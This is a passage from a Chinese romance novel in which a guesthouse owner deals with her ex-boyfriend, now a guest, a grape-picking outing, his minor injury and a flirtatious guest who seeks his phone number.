就因为昨天夜里那一次不经意的碰触,她竟然滋生出了这样的春梦。 “昭宁姐!”门外,鹿鹿的敲门声和呼唤声还在继续,“昭宁姐,你醒了吗?王叔送早餐来了,需要你签单确认,顺便再定一下中午小食堂的菜单。” “来了……马上来。”温昭宁声音哑得厉害。 她快速披了件外套下床,打开门。 “昭宁姐,你怎么了?怎么脸这么红?”鹿鹿一见温昭宁,就要伸手去摸她的额头,“是不是这房间不暖和,你着凉发烧了啊?” “不是不是。”温昭宁躲开了鹿鹿的手,“我昨晚睡得挺暖和的。” 暖和的都要烧起来了。 -- 温昭宁安排好民宿的早餐后,回家洗了个澡换了身衣服。 母亲姚冬雪一看到她,就急着问她:“昨天开业生意怎么样?” “生意挺好的。”温昭宁回,“第一天房间就全订出去了,饮品、文创都卖得不错。” “那就好那就好。”姚冬雪松了一口气,“你自己注意身体,别累坏了。” “我知道。” 温昭宁等青柠起床后,陪她吃了个早餐,又立刻去了民宿。 七点多,院子里的青石板还浸润着夜露,踩上去湿湿滑滑的,朝阳拨开山间的晨雾,万物苏醒,民宿的客人也陆续醒来。 温昭宁刚走进院子,就看到一个挺拔的身影从大厅里出来。 是贺淮钦。 他穿着一身深灰色的专业跑步服,紧贴身形,勾勒出流畅而有力量感的线条,整个人仿佛一把刚刚出鞘的利刃,锋利、醒目,带着极具生命力的热意。 温昭宁的脚步被钉在了原地。 她想起昨晚的那个梦,梦中那个气息灼人的身影,在这一刻,与现实重叠,她的心在胸腔里乱跳着。 贺淮钦也看到了她,他的脚步慢了下来。 “早。” “早上好,贺先生,晨跑啊。” “嗯。” “路上湿滑,注意安全。” “好。” 温昭宁匆匆点了一下头,赶紧与他擦肩。 贺淮钦出去没多久,边雨棠来了。 鹿鹿一看到边雨棠,就迫不及待地告诉边雨棠,昨天夜里才到的那位大客户,是个超级大帅哥。 “雨棠姐,他去晨跑了,等他回来你看看就知道了,这颜值,绝对不是我吹,他要是愿意在我们民宿的宣传片里出镜一分钟,我保证,来我们民宿的人一定会更多!” 边雨棠将信将疑:“真的有那么帅吗?” “包的,帅到我昨晚都梦见他了。” 温昭宁正在喝水,听到梦见他这几个字,一个呛咳,嘴里的水差点全喷出来。 “宁宁,你怎么了?”边雨棠抽了张纸巾递给她,“还好吗?” “没事。” “哦,对了,昭宁姐昨晚也看到了。”鹿鹿的注意力转向了温昭宁,“昭宁姐,你和雨棠姐说说,贺先生是不是特别帅?” “是是是,特别帅。”温昭宁随意敷衍一句,转而又叮嘱鹿鹿:“你快别闲聊了,下午还要带客人去葡萄园采摘葡萄,采摘工具什么的你都安排好了吧?” “放心吧,我都安排好了。” -- 温昭宁他们今天要去的葡萄园是村上最大的葡萄园。 这是舅舅姚夏林帮她联系的。 葡萄园在南坡,那里阳光充足,葡萄品种好,舅舅和葡萄园的主人商量好,无论民宿的客人是想采摘后直接带走,还是委托葡萄园酿酒,都是最低的价格。 温昭宁上午的时候统计了一下要参加采摘活动的客人名单,她原本以为贺淮钦不会去的,毕竟,这类带着泥土气息的、集体性的农事体验活动,与他那矜贵疏离的气场太过违和,可没想到,他也报名了。 “贺先生,你也要去?”温昭宁委婉地提醒他,“我们整个下午都会在葡萄园度过哦。” 她的潜台词是,贺大律师时间金贵就别跟着去浪费时间了。 贺淮钦挑眉:“温老板不想让我去?” “我不是这个意思。” “那就一起。” 好吧。 温昭宁见他执意要去,也就没有阻拦。 下午,温昭宁换上一身工装裤,戴上一顶宽檐草帽,带队出发。 因为葡萄园不远,大家步行过去。 通往葡萄园的青石板路,倚着山势蜿蜒,一侧是潺潺溪水,另一侧是村民们的菜畦和果园,客人们三三两两走着,拍照的拍照,说笑的说笑,队伍拉得有点长。 温昭宁走在前头,时不时停下来,指着路边的植物或者远处的风景给大家介绍几句。 贺淮钦走在队伍的中央,他今天穿一件浅米色的亚麻衬衫,在阳光下显得格外清爽利落。 一楼“听竹”房的女客人杜茵,从民宿集合的时候,就已经锁定了贺淮钦。 这一路,她一直走在贺淮钦的身边。 “贺先生也是昨天入住民宿的吗?”杜茵声音娇柔,带着恰到好处的好奇,“我昨天上午就来了,好像没看到你。” “我晚上来的。”贺淮钦回答。 “难怪呢,我就说,贺先生这张脸,过目难忘,我不可能见过没有印象。” 贺淮钦没接话,只是加快了步伐,稍稍拉开了和杜茵的距离,但杜茵很快又跟了上去,她笑语盈盈地,一边看着贺淮钦的侧脸,一边乐此不疲地找着话题。 “贺先生是第一次来这种山村民宿吗?感觉怎么样?会不会觉得太安静了?” 贺淮钦目不斜视地看着前方的路,只淡淡地“嗯”了一声,算作回答。 杜茵并不气馁,她更凑近了些,与贺淮钦并肩而行:“贺先生,你快看,这片田野这个视角望过去好漂亮好辽阔。” 贺淮钦忽然停下了脚步。 杜茵心头一跳,以为自己太过殷勤,惹得他不快了,却见贺淮钦往她所指的田野看了一眼,眉头忽然舒展。 “我喜欢这片田野,适合看烟花。”他嗓音低沉。 走在最前面的温昭宁听到贺淮钦的话,脊背一僵。 他们上次在这片田野上看烟花,还是上次……车震。 第55章 快哄哄我 贺淮钦是看到这片田野回忆起了什么? 还是真的只是单纯喜欢这片田野? 温昭宁的思维微微发散,脚步也跟着有些乱了。 杜茵听到贺淮钦发出感慨,还以为他终于被自己撬动了,她开心地附和:“贺先生说得对,这么开阔的田野,看烟花一定很美。” 十分钟后,大部队抵达葡萄园。 葡萄园在村子南面的向阳坡上,一垄垄葡萄架整齐列队,深绿色的藤叶层层叠叠,遮蔽了灼人的日光,空气里弥漫着甜熟的果香、泥土的气息还有植物叶片被太阳烘烤后的独特味道。 客人们提着竹篮,拿着剪刀,和自己的朋友伙伴四散在田垄间。 贺淮钦只有一个人,杜茵趁此机会,再次绕到贺淮钦的身边,花蝴蝶一样围着他飞。 鹿鹿原本也想和贺淮钦多聊聊天,见贺淮钦被杜茵一个人霸占,忍不住凑到温昭宁面前吐槽:“这知道的我们是农业活动,不知道的还以为我们是相亲活动呢。” 温昭宁看穿她的小心思,笑了笑:“好了,我们是来工作的,你抓紧时间,多拍一点素材,拍客人之前,先和他们沟通是否愿意出镜。” “知道了,昭宁姐。” 温昭宁安排好鹿鹿的工作,自己也没闲着,她去采访了一下葡萄园的主人费叔,由费叔的视角展开,介绍了一下葡萄园的基本情况和整个村的葡萄产业。 录完视频,温昭宁刚准备去看一下客人的采摘情况,就听“闻莺”房的肖阿姨“哎哟”一声。 她立刻朝肖阿姨望过去。 原来是肖阿姨的老伴试图去够架子顶端的一串巨峰,却不小心踩在了一块松动的田埂石头上,肖阿姨急着去扶他,却脚下被藤条一绊,眼看肖阿姨就要倒下,离肖阿姨最近的贺淮钦一个箭步过去,伸出双臂,扶住了肖阿姨。 肖阿姨站稳了,但是贺淮钦因为身体失衡后撤,手臂擦到了一根粗糙的木桩立柱,他的衬衫袖口被撕裂,皮肤上划开了一道口子。 “哎哟哎哟,小伙子,你受伤了!”肖阿姨和她老伴急得大叫。 温昭宁赶紧跑过去,一把抓住他的胳膊查看。 贺淮钦左手小臂外侧,表皮被蹭破了,边缘渗出血珠,因为伤口很长,又混着木屑,看起来触目惊心的。 “感觉怎么样?很疼吗?” 温昭宁抬头去看贺淮钦,却发现他根本没有关注自己的伤口,他的目光落在她的脸上,眉头舒展,唇角微勾,好像很享受她的关心。 这…… 温昭宁也意识到,她好像抓他的手臂抓得过于自然了。 但是,他现在是民宿客人,客人受伤,她作为民宿的老板,第一时间关心也很正常吧。 她没有放手,因为突然放手,会显得她心虚。 “贺先生!麻烦你跟我过来,我先替你清洗一下伤口。”她一本正经地说。 -- 温昭宁将贺淮钦带出了葡萄园。 葡萄园外面有一口井,井台旁的石槽里流动的是刚从井里打起来的山泉水。 温昭宁舀了一勺山泉水,替他冲洗干净伤口上的木屑。 水有点凉,贺淮钦微微蹙眉。 “很疼吗?”温昭宁问。 “嗯,很疼。” 温昭宁看他一眼,他一副“我要疼死了,你快哄哄我”的表情。 可伤口清洗出来,其实并不深。 他可不是那么不耐疼的人,他就是在拿乔。 “疼也请忍一忍吧,贺先生。”温昭宁毫无感情地安慰一句,转头朝边雨棠喊,“雨棠姐,你把医药箱拿过来。” “好。” 这次出来,温昭宁她们什么都准备好了,包括医药箱。 边雨棠很快提了医药箱过来。 温昭宁打开医药箱,用碘伏棉签沿着伤口边缘,由内向外,一圈一圈地消毒,她的动作很慢很轻柔,像羽毛轻拂。 贺淮钦居高临下地看着她,她全神贯注时总是习惯性地微微抿起唇瓣,那红唇饱满欲滴,像她手里的消毒棉签一样,搅得他心痒痒。 “贺先生,你还好吧?”鹿鹿安抚好差点摔倒的肖阿姨夫妇,立刻赶来看望贺淮钦。 “没事,一点小伤。”贺淮钦淡淡地说。 温昭宁无语,他刚刚还一副快要疼死了的模样,这会儿就成了一点小伤了。 消毒完毕,温昭宁拿起无菌纱布,小心地替他覆盖住伤口。 两人靠得很近,光与影在他们之间流淌、交错,构成一幅色彩与质感都极具冲击力的画面。 好权威的两张脸,好养眼的一对俊男靓女。 鹿鹿举着手机,原本是想记录葡萄园采摘活动的,镜头却不由自主地被这绝美一幕牢牢吸引。 “贺先生,有件事想和你确认一下。”鹿鹿笑嘻嘻地开口,“你真的是昭宁姐的粉丝吗?” “嗯。” “那你介不介意和昭宁姐一起入镜啊?”鹿鹿指了指自己的手机,“我现在在拍葡萄园活动的视频素材,如果你不介意的话,我就把昭宁姐给你包扎这一段录进去了?” 温昭宁闻言,转头看向鹿鹿,她刚想说“你录这个干什么”,就听贺淮钦抢在前头开了口:“我不介意。” “那太好了!” 鹿鹿兴奋地向后退了几步,找了一个绝佳的角度,打开了录像模式。 温昭宁还想说什么,贺淮钦已经自觉地把他的胳膊抬到了温昭宁眼前,温昭宁被赶鸭子上架,只能低头,继续为贺淮钦包扎。 这半年,温昭宁拍了不少自己出镜的视频,按理她已经无惧镜头了,可这会儿和贺淮钦同框,她还是有点紧张。 贺淮钦却很坦然,甚至还有意无意地故意拉近和她的距离。 视频拍了半分钟。 鹿鹿掌镜的时候不觉得有什么,等她拉进度条回看一遍的时候,忽然发现,这位贺先生看温昭宁的眼神温柔到黏糊糊的程度! 他……不会是看上老板了吧? -- 杜茵去接了个电话的功夫,回来听说贺淮钦的胳膊受伤,立刻过来嘘寒问暖。 温昭宁见自己夹在他们两个中间有点多余,就整理好药箱走开了。 一番折腾后,葡萄采摘活动也很快接近了尾声。 温昭宁记录好每个客人采摘的斤数后,大家去王叔那里付款,王叔会派人按需把葡萄送去民宿或者打包发快递送走。 一行人回到民宿,天刚擦黑。 民宿的小食堂已经准备好了晚餐。 经过一天的集体活动后,大家的关系都亲近了许多,晚饭时欢声笑语不断。 肖阿姨夫妇特地坐到了贺淮钦的那一桌。 “小伙子,今天真的是谢谢你了。”肖阿姨很感激贺淮钦扶她的那一下,“今天要不是有你扶我,我这把老骨头跌倒的话,后果不堪设想。” “是的,老人最不经摔,我们的老邻居,就是摔了一跤卧床不起,后来人都躺没了。”肖阿姨的老伴说,“贺先生,你今天扶的这一把,都能算是救命了。” “叔叔阿姨言重了,举手之劳而已。” “小伙子,我们加个微信好吗?回去之后,阿姨给你寄点特产,常联系。” “谢谢阿姨,寄特产就不用了,常联系欢迎。” 贺淮钦加了肖阿姨的微信,吃过饭后,就上楼去了。 温昭宁从葡萄园回来后,又是杂七杂八一通忙碌,等她忙完静下来,天彻底暗了。 母亲姚冬雪带着青柠来看她。 “妈妈!”青柠手里提着一个大大的竹编食盒,“外婆晚上做了好吃的桂花豆沙凉糕,你快尝尝吧。” 温昭宁接过食盒,没急着吃,先把青柠抱起来,搂到怀里亲了一口。 “宝贝今天在幼儿园开不开心?” “开心,妈妈呢,妈妈今天开不开心?” “妈妈也很开心。” “妈妈开心,青柠就更开心。” “哎哟,妈妈的心肝宝贝。” 母女俩腻歪了一会儿,姚冬雪就带着青柠回去睡觉了。 温昭宁把母亲做的桂花豆沙凉糕给鹿鹿、边雨棠和保洁阿姨她们都分了分,还多了两份。 “宁宁,这凉糕挺好吃的,多出来的两份你给贺先生送去吧,今天多亏了他出手帮忙,要是肖阿姨真的在葡萄园摔倒,那我们可就麻烦了。”边雨棠说。 温昭宁想了想,觉得边雨棠说得有道理。 于情于理,她都应该去谢谢贺淮钦。 温昭宁把两块凉糕装进她新买的碟子里,端着去了二楼。 贺淮钦的房间就在楼道拐角处,她走到台阶的尽头,还没来得及拐弯,就听到杜茵的声音传来。 “贺先生,今天听你说起烟花,我想到我自己很久没有看烟花了呢,不知道你今晚有没有空,我托朋友送了些烟花过来,如果你有空的话,我们一起去看烟花吧。” 贺淮钦回了句什么,温昭宁没听清,因为她的手机忽然响了起来。 怕被杜茵他们误会她偷听,她赶紧端着碟子折回楼下。 电话是王叔打来的,说今天有一个要发快递的客人留地址的时候,收件人信息忘留了,让她去帮忙确认一下。 温昭宁应了下来,挂断电话后,她把碟子里的凉糕递给边雨棠。 “雨棠姐,你给贺先生送去顺便感谢他一下吧,我得去帮王叔确认个事儿,他那边急着发快递。”温昭宁可不想再上去撞见杜茵和贺淮钦两个人在一起。 “好。” -- 边雨棠把凉糕给贺淮钦送了上去,就回去陪儿子壹壹了,壹壹这两天发烧,姚志修借着照顾儿子的名义,天天赖在壹壹那里想求边雨棠复婚,边雨棠实在不想再见到这个男人,可又不放心把生病的儿子单独扔给他,毕竟,姚志修是个退烧药和咳嗽药都能拿错的人。 “宁宁,这两天先辛苦你一下,等壹壹好了,我就和你轮流值班。”边雨棠很不好意思让温昭宁连着值班。 “没事雨棠姐,你快回去吧,孩子最重要。” 边雨棠走了,温昭宁登记了一下网上的两个订房订单后,就开始剪昨天没剪完的视频,她刚剪辑完第二段,就见贺淮钦从二楼下来了。 他穿着风衣,看样子是要出去。 十五分钟前,杜茵已经出去了,难不成,他是去找杜茵汇合一起看烟花的? 温昭宁正想着,贺淮钦朝前台的方向走了过来。 “晚上好,贺先生。”温昭宁朝他礼貌微笑。 贺淮钦看了眼她的电脑:“今天又是你值班?” “是的,贺先生。” “人手不够吗?” “新店开张,开源节流。” 贺淮钦点点头,他完全能理解,想当年他的律所刚成立的时候,连地都是他自己扫的。 创业初期,总是最困难的。 “凉糕很好吃,听说是你母亲亲手做的,谢谢。”贺淮钦说。 “贺先生客气了,今天多亏了有你,是我们民宿该谢谢你才对。”温昭宁回答得滴水不漏。 贺淮钦又点了点头。 两人之间没了话题,大眼瞪小眼之际,贺淮钦忽然说:“我有点事,出去一趟。” 温昭宁恍惚。 这人真搞笑,他出去约会和她交代什么? 她一边腹诽,一边礼貌微笑:“好的贺先生,注意安全。” 贺淮钦走了。 温昭宁强迫自己沉下心来剪视频,可耳边却循环播放着杜茵约贺淮钦去看烟花的邀请。 也不知道这两人去哪里放烟花了? 他们为什么前后脚走啊?是避嫌吗? 贺淮钦不是要订婚了吗?怎么还和别的女人夜里出去啊? 温昭宁胡思乱想着,工作效率为零。 果然,男人只会影响她赚钱的速度。 她起身去泡了杯咖啡,给自己定下了不剪完不睡觉的任务,她刚沉下心来,就听到小院外面有车辆停下的声音。 这么晚了?是谁来了? 温昭宁小跑出去查看,发现是贺淮钦开着他那辆大G回来了,他一个人回来的。 “你……这么快?”温昭宁问。 “什么这么快?”贺淮钦蹙眉,“温老板,随便评价一个男人快,你礼貌吗?” 温昭宁:“……” 这人在胡说八道什么? “贺先生,我的意思是,你这么快就回来了。” “当然,提个车能要多久?” “提车?” “嗯,车修好了,我刚去修车厂开来。”贺淮钦似笑非笑地看着温昭宁,“怎么?以为我去看烟花了?” 温昭宁一怔。 看来她手机响的那一刻,贺淮钦就知道她在楼道里了。 “不是,我……” “放心温老板,我已经看过最美的烟花了,其他烟花,吸引不了我。” 第56章 热烈接吻 贺淮钦似乎是在说烟花,又似乎不是。 温昭宁心跳悄悄加快。 她一时不知道该怎么接话,正好,贺淮钦的手机响了。 贺淮钦看了眼屏幕,对她说:“我上去了,五分钟后有个视频会议。” 温昭宁应了声“好的”,话音刚落,发现他眉宇里多了几分笑意。 不是,他怎么又和她交代? 还有,她“好的”什么“好的”。 温昭宁感觉自己莫名其妙就被他带沟里去了。 半年多不见,这男人撩人的手段似乎又高明了些。 温昭宁回到前台,猛喝了两口咖啡清醒一下,继续工作。 晚上十点三十分,杜茵回来了,比她人先到的,是她身上浓郁的香水味。 温昭宁闻到香味抬起头,看到杜茵一袭鹅黄色的连衣裙,边打电话边从小院里进来。 “没约上……那烟花我都拿去退了……我才不会那么轻易放弃呢,我查过了,他是贺淮钦,耀华律所的大老板……什么?耀华你都没听过?快去谷歌一下吧大姐……是吧,我就说,他的身价,能吓死你……哎呀,真没想到我竟然能在这个犄角旮旯里碰到这样的大佬,缘分真是奇妙……我要是能拿下他,我这辈子衣食无忧了……” 温昭宁本来想起身和杜茵打个招呼,但杜茵打着电话,看都没有看温昭宁,直接就过去了。 她慢慢撤回了一个微笑,坐下继续剪辑视频。 “温老板。”杜茵忽然又折回来。 “你好,杜小姐。”温昭宁又赶紧停下工作,起身对杜茵微笑,“有什么需要帮助的吗?” “也没什么事。”杜茵眨了眨眼,身体微微前倾,带着几分亲昵和试探压低了声音,“我就是想问问,二楼贺先生的手机号码,你有的吧?” 原来是想来打听贺淮钦的手机号码的。 温昭宁心头不耐,但脸上还是挂着笑容:“贺先生办理入住登记的时候,的确留了电话号码。” “温老板,你看,咱们都是女人,我也就不绕弯子了。”她的声音又压低了些,“我觉得贺先生这个人挺不错的,想和他交个朋友,你看,能不能行个方便,把贺先生的手机号码给我一下?” “非常抱歉杜小姐,我理解你想要交朋友的心情,但是,保护客人隐私是我们民宿的基本原则,客人的联系方式属于他的个人隐私,我们不能泄露,这一点,在入住须知里也有明确写明,还请你谅解。” “哎呀,温老板,别那么死板嘛。”杜茵继续死缠烂打,“规矩是死的,但人是活的呀,你看我也不是什么坏人,你通融通融,帮个小忙,我也不会告诉贺先生手机号码是你给我的,他什么都不会知道。只要你帮我这个忙,我下次来还住你这里,再帮你多介绍一些客人来,你看好不好?” 这是撒娇加利诱都用上了,可惜温昭宁不吃这一套。 她挺直了脊背,迎着杜茵的目光,清晰郑重地重复:“实在抱歉杜小姐,保护客人的隐私是我们民宿的底线,这个真的不能通融,如果你有其他需要,我们很乐意为你提供服务。” 杜茵见温昭宁油盐不进,有些下不来台,她收起了那层伪装的甜笑,嘴角勾起一抹讥诮的弧度:“温老板,你这山沟沟里的民宿,规矩倒是挺严,可这开门做生意呐,有时候不要太较真,你这样不懂变通,小心把生意都做死。” 她说完,鼻子轻哼一声,拎上手包就上楼去了。 温昭宁血压都快飙到顶了,却还是本着职业操守恭敬地对杜茵说了句:“杜小姐慢走,晚安。” 杜茵没理她,径直上楼去了。 温昭宁见杜茵走了,这才坐下来,深长地吐出一口气。 她想起自己刚决定要开民宿的时候,把这个想法告诉苏云溪,苏云溪作为过来人提醒她,苏云溪说:“开门做生意就像是打开了一本‘人间奇葩册’,你必须要确定自己有做‘忍者神龟’的潜质,否则,你就放过自己吧。” 温昭宁当时不太懂,现在全懂了。 她这民宿开门还不足三天,前男友已经遇上了,奇葩客人也遇上了,但无论遇到谁,她都得笑嘻嘻地面对,真正诠释了那句,钱难挣,屎难吃。 -- 杜茵订了民宿三天的房间,温昭宁私心里希望杜茵到期就赶紧退房离开,可没想到,她为了追求贺淮钦,隔天还续房了。 贺淮钦白天基本都在房间里处理工作,只有吃饭时间会下楼。 杜茵每天就坐在小食堂对面的咖啡吧里,一坐坐一天,就是为了和贺淮钦见上一两面。 鹿鹿不禁感慨:“她有这个毅力,干什么都会成功的,何必把功夫花在追男人上。” “苍蝇不叮无缝的蛋,肯定是男人给了她希望,她才这么坚持。”温昭宁淡淡地说。 “不,昭宁姐,这你还真是冤枉了贺先生了,我都听贺先生拒绝她好几回了,是她非要缠着人家,估计,就是奔着傍一张长期饭票去的。贺先生也真是惨,出来散个心,每天犯人一样被盯着。”鹿鹿说着,看了一眼墙上的钟,“说起来,今天贺先生怎么还没下来吃饭?” 温昭宁也觉得奇怪。 贺淮钦三餐规律,平时吃饭还是挺准时的,今天饭点都过了,他怎么还不见人?不会是被杜茵吓得不敢下来吃饭了吧? 温昭宁正想着,前台电话响了。 是贺淮钦打来的。 鹿鹿接起电话,应了两声“好的”之后,挂断电话。 “他怎么了?”温昭宁问。 “贺先生说他手臂上的伤口有点发炎了,让你拿上药箱去他房间替他处理一下。” 温昭宁本来想着等贺淮钦今天下来吃饭的时候帮他纱布,没想到他的伤口竟然发炎了。 她立刻拿上医药箱上楼。 贺淮钦的房间门紧闭着,温昭宁站在门外,抬手敲了敲门。 “贺先生,我来给你换药。” “进来吧,门没锁。”里面传来贺淮钦低沉的声音。 温昭宁拧动门把手,推门进去。 为了避嫌,她进门之后,没有关门,就让门保持着半开的状态。 “贺先生……”温昭宁一抬眼,愣住了。 贺淮钦竟然没有穿上衣。 他精壮的上身完全裸露在空气中,肌肉的起伏在自然光线中显得格外清晰、深刻。宽肩,窄腰,脊背中央那道性感的凹陷一路向下,没入深色长裤的裤腰,每一处都性感得要命。 手臂上松松缠绕着的白色纱布,此时成了他身上唯一的“衣物”,这一抹白,更衬得他的麦色皮肤凸显出一种原始的诱惑力。 温昭宁看他这样,顿时感觉一股热流不受控的从小腹窜起,席卷全身。 明明两人睡过那么多次,他浑身上下都已经被她摸遍了,可她的身体还是会不争气地对他有反应。 “温老板,你脸怎么这么红?”贺淮钦看着她。 这人自己孔雀开屏,还明知故问。 温昭宁笑吟吟地开口:“贺先生,换个药而已,你怎么把衣服都脱了?我记得你是手臂受伤,不是胸口受伤吧?” “我刚洗完澡,发现伤口红肿发炎了,很痛,不便穿衣服,所以想等温老板给我换好纱布,我再穿衣服。”贺淮钦一副理所当然的表情,然后又茶茶地问一句:“温老板不会觉得我是在勾引你吧?” “贺先生说笑了,怎么会呢。” 温昭宁简直想把她手里的医药箱扣到那张俊朗却可恶的脸上。 现在怎么办?她到底要不要关门啊? 她本来以为开着门能避嫌,谁知道贺淮钦脱得这么光,他这样要是被走廊里路过的客人看到,成何体统? “温老板?”贺淮钦不知道温昭宁在想什么,他走到窗边,抬起手臂,“麻烦你了。” 温昭宁一番天人交战,最后还是决定不关门。 现在关门,倒显得她狗狗祟祟了。 反正脱光衣服的又不是她,谁爱看谁看呗。 温昭宁提着药箱走到贺淮钦身边,将他手上的纱布拿下来,伤口的确有点红。 她用棉签蘸满碘伏,重新给伤口消毒。 不知是疼还是故意,贺淮钦一开始还倚着窗台,渐渐越挪越近。 温昭宁弓着身,只觉得他那紧实的胸肌,几乎要怼到她的脸上来了。 这人真是富有且慷慨啊,秀得那叫一个大大方方。 她有意目不斜视,可余光总是不受控地捕捉到那胸肌轮廓和再往下一些那更完美的腹肌,不可否认,他这半年,练得不错,身材比之前更好了。 空气中弥漫着浓烈的男性荷尔蒙的气息。 温昭宁的手指不受控地微微发抖,好几次棉签都戳偏了。 “温老板,你这次技术没有上次好。”贺淮钦语气耐人寻味:“你弄疼我了。” “……” 这人男狐狸精转世吧。 温昭宁忽然理解“色令智昏”这个成语了。 她的心在胸腔里乱窜着,再这么下去,她今晚又要做一些有颜色的梦了。 “好了好了。” 温昭宁给他包上薄薄一层纱布之后,几乎是立刻弹开,与那勾人的肉体保持一臂的距离,垂下眼快速收拾她的医药箱。 贺淮钦目光平静地看她手忙脚乱,嘴角荡开一丝笑意。 “麻烦温老板了。” “应该的,这两天按时换药,别沾水。” 温昭宁提起药箱,转身就想走,这时,楼道里传来了高跟鞋的声音。 “噔噔噔噔——” 比人先到的,依然是空气里那浓烈的香水味。 是杜茵来了。 贺淮钦今天过了饭点还没下楼去,估计是杜茵等不及就上来找他了。 温昭宁可不想让杜茵撞见她在贺淮钦的房间里,她更快地迈步欲走,却被贺淮钦伸臂一拦。 他的胳膊,扣在了温昭宁的腰上。 “你干什么?”温昭宁瞪他。 他们分手后再见的这几天里,他一直很规矩,从没有主动逾矩,但眼下这个动作,多少有点过于亲密了。 “温老板,你作为民宿老板,是不是应该给客人排忧解难。” “我是有为客人排忧解难的义务,但你这……” “那位杜小姐一直缠着我,怪让人害怕的,你帮帮我。” “可我……” 贺淮钦根本不给温昭宁拒绝的机会,他夺下她手里的医药箱放在柜子上,直接一个转身,将温昭宁半圈进了自己的臂弯里,用身体将她抵在窗台上。 温昭宁下意识地想用手去推他,一抬手,却摸到了他的胸肌。 这坚硬的触感,吓得她赶紧缩回了手。 贺淮钦却趁势一把将她的手握住,拉回到他胸口的位置。 “就这样。”他微微侧头,嘴唇贴近她的耳廓,用只有两人能听到的声音说,“摸我。” 贺淮钦的气息将她完全笼罩,温昭宁短暂地失去了思考能力,手也忘了撤回。 就在这时,杜茵出现在了贺淮钦的房门口。 “贺先生,你今天怎么没去吃饭啊?是不舒服嘛?”杜茵在门口关切地问着,她见门没关,顺势往里迈了一步,“贺先生?” 温昭宁浑身僵硬,虽然贺淮钦高大的身影挡着她,杜茵应该看不到她,但她还是很紧张。 她窝在贺淮钦的怀里,一动不敢动。 贺淮钦低下头,脸虚虚蹭着她的脖颈,假意耳鬓厮磨。 虽然两人只是做戏,但这距离实在太近了,近得他们的呼吸都已经分不出你我。 温昭宁觉得自己快要爆炸了。 “别紧张。”贺淮钦轻哄一声,在温昭宁完全不备的状态下,忽然伸手在她腰上掐了一把。 这一把力道掌控得恰到好处,不轻不重,令温昭宁有点痛也有点痒。 “嗯啊——” 她没忍住轻吟了一声,这声音配合着他们交缠的身影,听起来要多暧昧有多暧昧。 杜茵听到声音,往窗台方向望过来。 在杜茵的视角,就是贺淮钦将一个女人压在窗台上,两人正热烈接吻,甚至,贺淮钦连衣服都没有穿,而他怀里那女人的叫声更是不堪入耳,仿佛他们下一秒就要做起来。 杜茵惊得捂住了嘴,赶紧从贺淮钦的房间里退出去。 很快,楼道里响起杜茵仓促逃走的脚步声。 结束了。 温昭宁一把将贺淮钦推开,可下一秒,他又朝她靠过来。 第57章 向她求关注 那霸道的气息,像一张密网,再次将温昭宁笼住。 “是不是弄疼你了?”贺淮钦的目光落在她的腰上。 温昭宁知道他问的是掐她的那一把,但带入现在这样的情境,她整个人都要烧起来了。 “我没事。”她从他怀里闪身挪到边上,热气退散后,怒气不自觉地升上来,“贺先生,请人帮忙是不是得先经过对方的同意?” 他们现在都已经分手了,他刚才又是拦腰抱她,又是在她身边蹭来蹭去,多少有点失了分寸。 “抱歉,刚才事出紧急。冒犯了温老板,我愿意补偿。” “补偿?怎么补偿?” 温昭宁只是随口一问,没想到贺淮钦走到书桌前,从抽屉里拿出了一个方方正正的盒子递给她。 “这个作为补偿。”他说。 温昭宁低头看了一眼包装盒,竟然是一台全新的苹果笔记本电脑。 贺淮钦这般顺水推舟地拿出补偿礼物,让人不免怀疑他早有准备,可是他是什么时候准备的呢? 难道是那晚看她电脑忽然蓝屏后? 他什么意思? 要替她换电脑? 温昭宁觉得自己多少有点自作多情了。 “不用了贺先生,你的道歉我收下了,但这个补偿太贵重,我不能收。” “那就不算补偿,当是感谢,今天温老板帮我解决了一个大麻烦,我应该表示感谢。” “感谢也不用。” 贺淮钦见她再三拒绝,直接挑明了说:“你的电脑老旧,以后蓝屏的情况只会越来越多,万一哪天忽然故障难以修复,你的数据都会丢失。” 温昭宁听懂了,这台电脑真的是贺淮钦特意给她准备的? 那她就更不能收了。 “谢谢贺先生提醒,我会看情况自己更换电脑的。”温昭宁将笔记本电脑推回去,“民宿人多嘴杂,以后还请贺先生和我保持距离,不要再发生今天这样的事情。” 她说完,直接提上自己的药箱,走出了贺淮钦的房间。 傍晚,杜茵退房了。 她原本又订了一周的房间,可看到贺淮钦身边有女人后,她自知没有了希望,收拾好行李下来退房。 傍晚临时退房,当天房费其实只能退百分之五十,但温昭宁并没有为难,就让鹿鹿全额将房费退还给了她。 杜茵在前台等待办理退房手续的过程中,忽然瞥见了架子上的那个医药箱。 “中午的时候,是你给贺先生去换药了?”杜茵凛着脸问鹿鹿。 “不是我。” “那是谁?” 鹿鹿被杜茵气势汹汹的样子问懵了,她下意识地看向温昭宁。 杜茵顺着鹿鹿的目光看过来,看到温昭宁,瞬间冷笑一声:“我说呢,温老板口口声声不能泄露客人隐私,其实是肥水不流外人田啊。” 温昭宁自然知道杜茵在说什么,但她没接话。 杜茵没有更多的立场来指责温昭宁,气鼓鼓地走了。 “昭宁姐,那位杜小姐她刚才什么意思啊?”鹿鹿不明所以,凑过来向温昭宁打听。 温昭宁伸手戳了一下鹿鹿的脑门:“别八卦了,等阿姨收拾完,赶紧联系昨天要订房的客人。” “好。” -- 自从杜茵退房后,贺淮钦就像是被解了封印一样,他不再总待在房间里办公,每天早饭过后,他便会在庭院里,支开他的折叠桌椅和笔记本电脑处理工作。 庭院里有一棵枣树,长得很高大,装修的时候,温昭宁本来想推倒它,意外尝到它的枣子,发现特别甜,于是又把枣树保留了下来。 贺淮钦就坐在那棵枣树下,枣树的枝叶,刚好在他头顶,投下一片移动的、斑驳的荫凉。 “贺先生这个位置选得太妙了。”鹿鹿说,“他坐在那里,我每天上班一抬头就能看到他,这简直就是上班福利。” 温昭宁不语。 这对鹿鹿而言是福利,对她而言却是折磨。 她不知道贺淮钦到底想干什么,他明明每天都很忙,回不完的邮件、开不完的视频会议和接不完的电话,他应该在沪城更有效率地办公,而不是在她眼皮子底下。 温昭宁觉得烦闷。 谁会想和前男友每天朝夕相对? 反正她不想。 可是,她又不能赶人家,毕竟人家付了钱的。 当然,这几天也发生了一件让温昭宁特别开心的事情。 她带客人去葡萄园采摘葡萄的视频上传到社交平台后,视频热度远超预期, 起初,是点赞和评论数悄然攀升,然后,是被几个优质农产品的大V转发,几乎一夜之间,“山居民宿主理人推荐的良心葡萄”成了小范围的热搜词。 温昭宁的私信和评论区炸了。 “民宿好美!葡萄园好美!我也想参加这样的采摘活动,可惜太远了,怎么预定?” 